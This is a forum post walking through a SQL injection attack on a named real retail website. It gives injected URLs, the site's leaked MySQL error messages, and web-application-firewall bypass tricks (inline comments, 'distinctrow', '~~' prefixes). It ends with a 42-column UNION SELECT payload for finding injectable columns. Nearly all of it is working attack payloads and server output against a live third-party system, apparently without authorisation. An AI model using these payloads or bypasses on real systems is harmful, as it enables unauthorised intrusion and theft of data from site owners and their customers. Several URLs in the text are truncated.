Sql challenge

challenge is very nice. Many members will definately learn new things from there.So now I am posting text solution of my challenge.Remember this is my last post.
Target :-
http://www.lampbulbs.co.uk/product.php?prodid=162
Task :- Print version
Solution :-
Step 1. First I use ' to check site is vul or not.
http://www.lampbulbs.co.uk/product.php?prodid=162
By Putting ' like
http://www.lampbulbs.co.uk/product.php?prodid=162'
Result:-
Error in query: SELECT * FROM products WHERE prodid LIKE '162''. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''162''' at line 1
Mean site is vul to SQLI.
Step 2 :-
Lets Balance the query
http://www.lampbulbs.co.uk/product.php?prodid=162--
Result :- Forbidden Error
Hmm interesting.
Try %60 now
http://www.lampbulbs.co.uk/product.php?prodid=162%60
Result :- No error
Step 3 :- Finding number of columns using ORDER BY command
http://www.lampbulbs.co.uk/product.php…
Result :-
gasp emoticon gasp emoticon Again Forbidden Error. Lets bypass this
Try :-
http://www.lampbulbs.co.uk/product.php… --->Forbidden
http://www.lampbulbs.co.uk/product.php… ---> 403 Forbidden
http://www.lampbulbs.co.uk/product.phpprodid=162+OrDe…/…/%60
---> Site Normal
Lets increase the number
http://www.lampbulbs.co.uk/product.php…
----> Same Result. Lets try String Base SQLI
http://www.lampbulbs.co.uk/product.php…
Result :--
Error in query: SELECT * FROM products WHERE prodid LIKE '16' OrDeR bY /**100**/`'. Unknown column ''' in 'order clause'
Hmm interesting
http://www.lampbulbs.co.uk/product.php…
Result same as above gasp emoticon gasp emoticon gasp emoticon
Now here is new step for some members to learn
I experimented and do this
http://www.lampbulbs.co.uk/product.php…-- -
Notice /**1**/1 <--- New things which i learned from forum some months ago.
Now increase the number
like
/**1**/2 <--- Note 2 there
http://www.lampbulbs.co.uk/product.php?prodid=162' order by/**1**/2--+-
You see this --->
Energy Saving Light Bulbs Household >
Crompton Energy Saving GU10 11 Watt Warm White or Cool White
Manufacturer: Crompton Lamps
Energy Saving GU10 alternative to halogen.
High Quality Lamp
11watts = to 55 watt GLS
600 Lumens
Great Value For Money
Reduces Your Lighting Costs
8000 Hours Life
Crompton Energy Saving GU10 11 Watt Warm White or Cool White
Error in query: SELECT param_name FROM parameters WHERE prodid LIKE '162' order by/**1**/2-- -' ORDER BY paramid. Unknown column '2' in 'order clause'
So is that mean there is 1 column . Hmm lets check
Lets use UNION SELECT Command once --->
http://www.lampbulbs.co.uk/product.php?prodid=162' union select 1--+-
So its giving Forbiden Error. Mean WAF. Lets bypass this WAF.
http://www.lampbulbs.co.uk/product.php?prodid=162' /*!union*/ select 1--+-
Same WAF Appear. So after trying some WAF Bypass method i get to know to use distinctrow. This will Bypass WAF.Lets now use this
http://www.lampbulbs.co.uk/product.php?prodid=162' union distinctrow select 1--+-
Result :-
Error in query: SELECT * FROM products WHERE prodid LIKE '162' union distinctrow select 1-- -'. The used SELECT statements have a different number of columns
gasp emoticon Its mean we are using wrong column. Column must be more than 1.If we see above error we can do Error Base SQLI. But here in this challenge i used Union Base SQLI. So lets TRY More.
As You see error on 2 so i guess that one is not actual error. There must be another real error.So lets try
http://www.lampbulbs.co.uk/product.php?prodid=16' order by /**1**/10-- -
Same error. Lets increase number.
http://www.lampbulbs.co.uk/product.php?prodid=16' order by /**1**/100-- -
This time error is different ---->
Error in query: SELECT * FROM products WHERE prodid LIKE '16' order by /**1**/100-- -'. Unknown column '100' in 'order clause'
So this is the actual error.I got 42 columns using this.
Column 43 --->
http://www.lampbulbs.co.uk/product.php?prodid=16' order by /**1**/43-- -
Error :-
Error in query: SELECT * FROM products WHERE prodid LIKE '16' order by /**1**/43-- -'. Unknown column '43' in 'order clause'
Column 42 --->
http://www.lampbulbs.co.uk/product.php?prodid=16' order by /**1**/42-- -
False error with site normal. Hmm its mean number of columns is 42. smile emoticon
Step 3:- Lets find number of vulnerable columns out of 42 columns
Command use for this union select. But as I mentioned above already about distinctrow so now i use this.
http://www.lampbulbs.co.uk/product.php?prodid=16'union distinctrow select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42-- -
Result :-- 403 Forbidden mean WAF.
I always used different different types to bypass WAF but yesterday I thought to do some experiment so I did differently.
By examine the WAF Behaviour i noticed that WAF was like this union select number,number so i did this
http://www.lampbulbs.co.uk/product.php?prodid=162'union distinctrow select 1,~~2,~~3,~~4,~~5,~~6,~~7,~~8,~~9,~~10,~~11,~~12,~~13,~~14,~~15,~~16,~~17,~~18,~~19,~~20,~~21,~~22,~~23,~~24,~~25,~~26,~~27,~~28,~~29,~~30,~~31,~~32,~~33,~~34,~~35,~~36,~~37,~~38,~~39,~~40,~~41,~~42-- -
I got some vulnerable columns. Now you can inject site as normal.